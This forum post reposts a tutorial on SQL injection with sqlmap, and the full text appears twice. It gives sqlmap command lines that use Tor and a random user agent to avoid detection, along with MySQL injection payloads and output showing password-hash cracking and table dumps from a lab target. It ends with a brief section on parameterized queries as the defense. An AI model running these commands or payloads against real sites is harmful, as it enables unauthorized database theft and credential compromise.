Jollier
Professional
- Messages
- 1,139
- Reaction score
- 1,188
- Points
- 113
SQL injection: what is it?
SQL injection is a web application attack that constructs an SQL expression from user input by simple concatenation. For example:
If successful, the attacker can change the execution logic of the SQL query to suit his needs. Most often it performs simple fingerprinting on the DBMS, and also fetches tables with the most "interesting" names (eg "users"). After that, depending on the privileges with which the vulnerable application is launched, it can access protected parts of the back-end of the web application (for example, read files on the host side or execute arbitrary commands). The easiest way to perform sql injection is using the sqlmap utility.
What is SQLMAP?
So what is sqlmap? One of the most powerful open source pentester tools that automates the process of finding and exploiting SQL injection in order to extract data or hijack a remote host. What makes sqlmap different from other SQL injection detection utilities is the ability to exploit every vulnerability it finds. This means that sqlmap is able not only to find the "hole", but also to use it in full. And since the task is to exploit the vulnerability, then the scanner has to be especially attentive to details: it will not generate a million false positives “just in case” (as we see in many other applications). Any potential vulnerability is additionally checked for exploitability. The scanner comes with great functionality out of the box, ranging from the ability to define a database management system (hereinafter referred to as DBMS), creating a dump (copy) of data and ending with gaining access to the system with the ability to access arbitrary files on the host and execute arbitrary commands on the server. Still, the main thing is to discover the possibility of injecting SQL code.
What vulnerabilities can SQLMAP find?
There are five main classes of SQL injection, and all of them are supported by sqlmap:
Features of SQLMAP
The engine for determining SQL vulnerabilities is the most important, but still not the only part of sqlmap functionality. And before showing the operation of the scanner in action, I cannot at least briefly tell you about some of its additional features. So, sqlmap implements:
Practice
Several scenarios are described below, these are the most typical situations that use the basic capabilities of sqlmap. By the way, you can also immediately check all the functionality of the scanner - for example, on a specially created training application from OWASP (www.owasp.org), in which many of the dangerous programmers' mistakes are deliberately recreated. Here I must say that sqlmap is written in Python, which means that you can run it under any OS. The only requirement is a python interpreter installed on the system. As an object for the penetration test, I will use a virtual machine that will run a standard LAMP stack (Linux / Apache / MySQL / PHP) along with several vulnerable web applications.
Scenario # 1
Let's agree that we want to exploit the vulnerability found in the “id” GET parameter of the web page located at http://www.site.com/vuln.php?id=1 (the -u key will be used to specify the URL ). To reduce suspicious activity, we will disguise ourselves as a regular browser (the -random-agent key), and use the secure TOR-network channel (-tor) to connect. So, let's run sqlmap:
The scanner will detect multiple injection points in 17 HTTP (S) requests. Please note that for each of them the type is indicated, as well as the payload.
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id = 1 AND 1826 = 182
Type: error-based
Title: MySQL> = 5.0 AND error-based - WHERE or HAVING clause
Payload: id = 1 AND (SELECT 8532 FROM (SELECT COUNT (), CONCAT (CHAR (58,98,116,120,58), (SELECT (CASE WHEN (8532 = 8532) THEN 1 ELSE 0 END)), CHAR (58,98,121,102 , 58), FLOOR (RAND (0) 2)) x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x) a)
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: id = 1 UNION ALL SELECT NULL, NULL, CONCAT (CHAR (58,98,116,120,58), IFNULL (CAST (CHAR (74,76,73,112,111,113,103,118,80,84) AS CHAR), CHAR (32)), CHAR (58,98,121,102,58))
Type: AND / OR time-based blind
Title: MySQL> 5.0.11 AND time-based blind
Payload: id = 1 AND SLEEP (10)
In addition, the scanner will perform recognition of the database, as well as other technologies used by the web application:
[02:01:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0
Eventually, the received data will be written to a specific file:
[02:01:45] [INFO] Fetched data logged to text fi les under '/opt/sqlmap/output/www.site.com'
Scenario # 2
Now for the next example. Suppose we want to do more detailed fingerprinting (-f) and get a text banner (-banner) of the database management system, including its official name, version number, and the current user (-current-user). In addition, we will be interested in saved passwords (-passwords) together with table names (-tables), but not including system ones (-exclude-sysdbs) - for all databases contained in the DBMS. No problem, let's start the scanner:
Very soon we will receive all the data on the technologies used that we requested:
[02:08:27] [INFO] fetching banner
[02:08:27] [INFO] actively fi ngerprinting MySQL
[02:08:27] [INFO] executing MySQL comment injection fi ngerprint
Error-based SQL injection web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fi ngerprint: MySQL> = 5.1.12 and <5.5.0
comment injection fi ngerprint: MySQL 5.1.41
banner parsing fi ngerprint: MySQL 5.1.41
banner: '5.1.41-3 ~ bpo50 + 1'
After - the name of the current user:
[02:08:28] [INFO] fetching current user
current user: 'root @ localhost'
Next, we get the hashes of all user passwords and perform a brute-force attack using the dictionary:
[02:08:28] [INFO] fetching database users password hashes
do you want to perform a dictionary-based attack against retrieved password hashes? [Y / n / q] Y
[02:08:30] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[02:08:32] [INFO] using default dictionary
[02:08:32] [INFO] loading dictionary from '/opt/sqlmap/txt/wordlist.txt'
do you want to use common password suffi xes? (slow!) [y / N] N
[02:08:33] [INFO] starting dictionary-based cracking (mysql_passwd)
[02:08:35] [INFO] cracked password 'testpass' for user 'root'
database management system users password hashes:
[] debian-sys-maint [1]:
password hash: * 6B2C58EABD91C1776DA223B088B601604F898847
[] root [1]:
password hash: * 00E247AC5F9AF26AE0194B41E1E769DEE1429A29
clear-text password: testpass
Oops! For root, we quickly figured out a password (for example, it was very simple). It's time to dump the data we are interested in:
[02:08:35] [INFO] fetching database names
[02:08:35] [INFO] fetching tables for databases: information_schema, mysql, owasp10, testdb
[02:08:35] [INFO] skipping system databases: information_schema, mysql
Database: owasp10
[3 tables]
+ ————— +
| accounts |
| blogs_table |
| hitlog |
+ ————— +
Database: testdb
[1 table]
+ ————- +
| users |
+ ————- +
[02:08:35] [INFO] Fetched data logged to text fi les under '/opt/sqlmap/output/www.site.com'
Now, having found a testdb table (-D testdb) with an interesting name "users" (-T users) in the database, we naturally go to get its contents for ourselves (-dump). But to show another interesting option, let's not just copy all the data in a file, but replicate the contents of the tables to a file-based SQLite database on the local machine (--replicate).
It will not be difficult for the scanner to determine the column names for the users table and pull out all the records from it:
[02:11:26] [INFO] fetching columns for table 'users' on database 'testdb'
[02:11:26] [INFO] fetching entries for table 'users' on database 'testdb'
Database: testdb
Table: users
[4 entries]
+ ---- + -------- + ------------ +
| id | name | surname |
+ ---- + -------- + ------------ +
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 1 | luther | blissett |
| 4 | NULL | nameisnull |
+ ---- + -------- + ------------ +
[02:11:27] [INFO] Table 'testdb.users' dumped to sqlite3 file
Thus, we will get a database dump in the testdb.sqlite3 file in SQLite format. The trick is that in this situation, we can not only view the data, but also execute any queries to it, using the capabilities of SQLite (for example, using the SQLite Manager program).
How can you protect yourself from such an attack?
The most reliable way to prevent SQL injection is to use parameterized SQL parameters. For example, in the case of PHP, this is possible with the PEAR's DB package, which offers an interface for executing completely safe SQL statements. The database is accessed as follows:
The main idea is that if the position of the parameters is explicitly set, then it is absolutely safe to pass SQL queries to the database, excluding the possibility for the parameters to become SQL expressions themselves (including malicious ones). It is worth noting that other mechanisms, such as using forced casting (for example, using the intval () function) in conjunction with string escaping functions such as mysql_real_escape_string () or addslashes (), are not completely safe. The problem is that there are some options for getting around them, and therefore, their use must be approached with maximum care.
Conclusions
In the last issue, under the heading Proof-of-concept, I told you about DSSS, a small Python script that can detect SQL vulnerabilities. The idea was to create an efficient scanner that would work well but still be within 100 lines of code. This proves once again that detecting SQL vulnerabilities is only a small part of the story. Their exploitation is a much more complex issue. But he is ready to take on the resolution of sqlmap, in which we have combined the many years of experience of a huge number of penetration testers, so that the scanner can effectively not only find SQL injections, but also get the maximum benefit from it.
SQL injection is a web application attack that constructs an SQL expression from user input by simple concatenation. For example:
Code:
$ query = "SELECT * FROM users WHERE id =". $ _ REQUEST ["id"]
If successful, the attacker can change the execution logic of the SQL query to suit his needs. Most often it performs simple fingerprinting on the DBMS, and also fetches tables with the most "interesting" names (eg "users"). After that, depending on the privileges with which the vulnerable application is launched, it can access protected parts of the back-end of the web application (for example, read files on the host side or execute arbitrary commands). The easiest way to perform sql injection is using the sqlmap utility.
What is SQLMAP?
So what is sqlmap? One of the most powerful open source pentester tools that automates the process of finding and exploiting SQL injection in order to extract data or hijack a remote host. What makes sqlmap different from other SQL injection detection utilities is the ability to exploit every vulnerability it finds. This means that sqlmap is able not only to find the "hole", but also to use it in full. And since the task is to exploit the vulnerability, then the scanner has to be especially attentive to details: it will not generate a million false positives “just in case” (as we see in many other applications). Any potential vulnerability is additionally checked for exploitability. The scanner comes with great functionality out of the box, ranging from the ability to define a database management system (hereinafter referred to as DBMS), creating a dump (copy) of data and ending with gaining access to the system with the ability to access arbitrary files on the host and execute arbitrary commands on the server. Still, the main thing is to discover the possibility of injecting SQL code.
What vulnerabilities can SQLMAP find?
There are five main classes of SQL injection, and all of them are supported by sqlmap:
- UNION query SQL injection. The classic version of SQL injection, when an expression starting with "UNION ALL SELECT" is passed to the vulnerable parameter. This technique works when web applications directly return the output of the SELECT command to the page: using a for loop or similar, so that each record of the retrieved database selection is sequentially output to the page. Sqlmap can also exploit the situation when only the first record from the selection is returned (Partial UNION query SQL injection).
- Error-based SQL injection. In the case of this attack, the scanner replaces or adds a syntactically incorrect expression to the vulnerable parameter, after which it parses the HTTP response (headers and body) in search of DBMS errors, which would contain a previously known injected sequence of characters and somewhere "nearby" output to the desired us a subquery. This technique only works when the web application for some reason (most often for debugging purposes) exposes DBMS errors.
- Stacked queries SQL injection. The scanner checks if the web application supports sequential requests and, if they do, adds a semicolon (
to the vulnerable HTTP request parameter, followed by an injected SQL request. This technique is mainly used to inject non-SELECT SQL commands, such as manipulating data (using REPLACE or DELETE). It is noteworthy that the technique can potentially lead to the ability to read / write from the file system, as well as the execution of commands in the OS. However, depending on the database management system used as the back-end, as well as user privileges.
- Boolean-based blind SQL injection. Implementation of the so-called blind injection: data from the database in a "pure" form is not returned anywhere by a vulnerable web application. The technique is also called deductive. Sqlmap adds a syntactically well-formed expression containing a SELECT subquery (or any other command to retrieve a selection from the database) to the vulnerable HTTP request parameter. For each HTTP response received, the headers / body of the page is compared with the response to the original request, so the utility can determine the output of the embedded SQL statement character by character. Alternatively, the user can supply a string or regular expression to define "true" pages (hence the name of the attack). The binary search algorithm implemented in sqlmap to accomplish this technique is is able to extract each character of the output with a maximum of seven HTTP requests. In the case when the output consists of more than just ordinary characters, the scanner adjusts the algorithm to work with a wider range of characters (for example, for unicode).
- Time-based blind SQL injection. Completely blind injection. In the same way as in the previous case, the scanner “plays” with the vulnerable parameter. But in this case, it adds a subquery that causes the DBMS to pause for a specified number of seconds (for example, using the SLEEP () or BENCHMARK () commands). Using this feature, the scanner can retrieve data from the database character by character, comparing the response time to the original request and to the request with the embedded code. It also uses a binary search algorithm. In addition, a special method for data verification is applied to reduce the likelihood of incorrect character extraction due to unstable connection.
Features of SQLMAP
The engine for determining SQL vulnerabilities is the most important, but still not the only part of sqlmap functionality. And before showing the operation of the scanner in action, I cannot at least briefly tell you about some of its additional features. So, sqlmap implements:
- Extract usernames, hashes of their passwords, as well as privileges and fields.
- Automatic recognition of the type of hash used and the ability to crack it using brute force using a dictionary.
- Getting a list of databases, tables and columns.
- Ability to make a full or partial dump of the database.
- An advanced search engine for databases, tables or even columns (across all databases at once), which can be useful for defining tables with "interesting" data like usernames (users) or passwords (pass).
- Uploading or, conversely, uploading arbitrary files to the server if the vulnerable web application uses MySQL, MySQL, PostreSQL or Microsoft SQL Server.
- Execution of arbitrary commands and receiving a shell if one of the DBMS listed in the previous paragraph is used on the host.
- Support for direct connection to the database (without explicitly exploiting the SQL vulnerability) using the username and password obtained during the attack to access the DMBS, as well as the IP address, port, and database name.
- Establishing a reliable TCP connection (so-called out-ofband) between the pentester's machine and the host running the database server. This channel can be wrapped with an interactive command line (shell), a Meterpreter session, or access to a remote desktop via a VNC connection.
- Privilege escalation for the database process through Metasploit's getsystem command, which, among others, implements the well-known kitrap0d (MS10-015) technique.
Practice
Several scenarios are described below, these are the most typical situations that use the basic capabilities of sqlmap. By the way, you can also immediately check all the functionality of the scanner - for example, on a specially created training application from OWASP (www.owasp.org), in which many of the dangerous programmers' mistakes are deliberately recreated. Here I must say that sqlmap is written in Python, which means that you can run it under any OS. The only requirement is a python interpreter installed on the system. As an object for the penetration test, I will use a virtual machine that will run a standard LAMP stack (Linux / Apache / MySQL / PHP) along with several vulnerable web applications.
Scenario # 1
Let's agree that we want to exploit the vulnerability found in the “id” GET parameter of the web page located at http://www.site.com/vuln.php?id=1 (the -u key will be used to specify the URL ). To reduce suspicious activity, we will disguise ourselves as a regular browser (the -random-agent key), and use the secure TOR-network channel (-tor) to connect. So, let's run sqlmap:
Code:
$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1" --random-agent --tor
sqlmap / 1.0-dev (r4365) - automatic SQL injection and database takeover tool
The scanner will detect multiple injection points in 17 HTTP (S) requests. Please note that for each of them the type is indicated, as well as the payload.
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id = 1 AND 1826 = 182
Type: error-based
Title: MySQL> = 5.0 AND error-based - WHERE or HAVING clause
Payload: id = 1 AND (SELECT 8532 FROM (SELECT COUNT (), CONCAT (CHAR (58,98,116,120,58), (SELECT (CASE WHEN (8532 = 8532) THEN 1 ELSE 0 END)), CHAR (58,98,121,102 , 58), FLOOR (RAND (0) 2)) x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x) a)
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: id = 1 UNION ALL SELECT NULL, NULL, CONCAT (CHAR (58,98,116,120,58), IFNULL (CAST (CHAR (74,76,73,112,111,113,103,118,80,84) AS CHAR), CHAR (32)), CHAR (58,98,121,102,58))
Type: AND / OR time-based blind
Title: MySQL> 5.0.11 AND time-based blind
Payload: id = 1 AND SLEEP (10)
In addition, the scanner will perform recognition of the database, as well as other technologies used by the web application:
[02:01:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0
Eventually, the received data will be written to a specific file:
[02:01:45] [INFO] Fetched data logged to text fi les under '/opt/sqlmap/output/www.site.com'
Scenario # 2
Now for the next example. Suppose we want to do more detailed fingerprinting (-f) and get a text banner (-banner) of the database management system, including its official name, version number, and the current user (-current-user). In addition, we will be interested in saved passwords (-passwords) together with table names (-tables), but not including system ones (-exclude-sysdbs) - for all databases contained in the DBMS. No problem, let's start the scanner:
Code:
$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1" --random-agent --tor -f --banner --current-user --passwords --tables --exclude-sysdbs
Very soon we will receive all the data on the technologies used that we requested:
[02:08:27] [INFO] fetching banner
[02:08:27] [INFO] actively fi ngerprinting MySQL
[02:08:27] [INFO] executing MySQL comment injection fi ngerprint
Error-based SQL injection web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fi ngerprint: MySQL> = 5.1.12 and <5.5.0
comment injection fi ngerprint: MySQL 5.1.41
banner parsing fi ngerprint: MySQL 5.1.41
banner: '5.1.41-3 ~ bpo50 + 1'
After - the name of the current user:
[02:08:28] [INFO] fetching current user
current user: 'root @ localhost'
Next, we get the hashes of all user passwords and perform a brute-force attack using the dictionary:
[02:08:28] [INFO] fetching database users password hashes
do you want to perform a dictionary-based attack against retrieved password hashes? [Y / n / q] Y
[02:08:30] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[02:08:32] [INFO] using default dictionary
[02:08:32] [INFO] loading dictionary from '/opt/sqlmap/txt/wordlist.txt'
do you want to use common password suffi xes? (slow!) [y / N] N
[02:08:33] [INFO] starting dictionary-based cracking (mysql_passwd)
[02:08:35] [INFO] cracked password 'testpass' for user 'root'
database management system users password hashes:
[] debian-sys-maint [1]:
password hash: * 6B2C58EABD91C1776DA223B088B601604F898847
[] root [1]:
password hash: * 00E247AC5F9AF26AE0194B41E1E769DEE1429A29
clear-text password: testpass
Oops! For root, we quickly figured out a password (for example, it was very simple). It's time to dump the data we are interested in:
[02:08:35] [INFO] fetching database names
[02:08:35] [INFO] fetching tables for databases: information_schema, mysql, owasp10, testdb
[02:08:35] [INFO] skipping system databases: information_schema, mysql
Database: owasp10
[3 tables]
+ ————— +
| accounts |
| blogs_table |
| hitlog |
+ ————— +
Database: testdb
[1 table]
+ ————- +
| users |
+ ————- +
[02:08:35] [INFO] Fetched data logged to text fi les under '/opt/sqlmap/output/www.site.com'
Scenario number 3Done!
Now, having found a testdb table (-D testdb) with an interesting name "users" (-T users) in the database, we naturally go to get its contents for ourselves (-dump). But to show another interesting option, let's not just copy all the data in a file, but replicate the contents of the tables to a file-based SQLite database on the local machine (--replicate).
Code:
$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1" --random-agent --tor --dump -D testdb -T users --replicate
It will not be difficult for the scanner to determine the column names for the users table and pull out all the records from it:
[02:11:26] [INFO] fetching columns for table 'users' on database 'testdb'
[02:11:26] [INFO] fetching entries for table 'users' on database 'testdb'
Database: testdb
Table: users
[4 entries]
+ ---- + -------- + ------------ +
| id | name | surname |
+ ---- + -------- + ------------ +
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 1 | luther | blissett |
| 4 | NULL | nameisnull |
+ ---- + -------- + ------------ +
[02:11:27] [INFO] Table 'testdb.users' dumped to sqlite3 file
Thus, we will get a database dump in the testdb.sqlite3 file in SQLite format. The trick is that in this situation, we can not only view the data, but also execute any queries to it, using the capabilities of SQLite (for example, using the SQLite Manager program).
How can you protect yourself from such an attack?
The most reliable way to prevent SQL injection is to use parameterized SQL parameters. For example, in the case of PHP, this is possible with the PEAR's DB package, which offers an interface for executing completely safe SQL statements. The database is accessed as follows:
Code:
$ p = $ db-> prepare ("SELECT * FROM users WHERE id =?"); $ db-> execute ($ p, array ($ _ GET ['id'])).
The main idea is that if the position of the parameters is explicitly set, then it is absolutely safe to pass SQL queries to the database, excluding the possibility for the parameters to become SQL expressions themselves (including malicious ones). It is worth noting that other mechanisms, such as using forced casting (for example, using the intval () function) in conjunction with string escaping functions such as mysql_real_escape_string () or addslashes (), are not completely safe. The problem is that there are some options for getting around them, and therefore, their use must be approached with maximum care.
Conclusions
In the last issue, under the heading Proof-of-concept, I told you about DSSS, a small Python script that can detect SQL vulnerabilities. The idea was to create an efficient scanner that would work well but still be within 100 lines of code. This proves once again that detecting SQL vulnerabilities is only a small part of the story. Their exploitation is a much more complex issue. But he is ready to take on the resolution of sqlmap, in which we have combined the many years of experience of a huge number of penetration testers, so that the scanner can effectively not only find SQL injections, but also get the maximum benefit from it.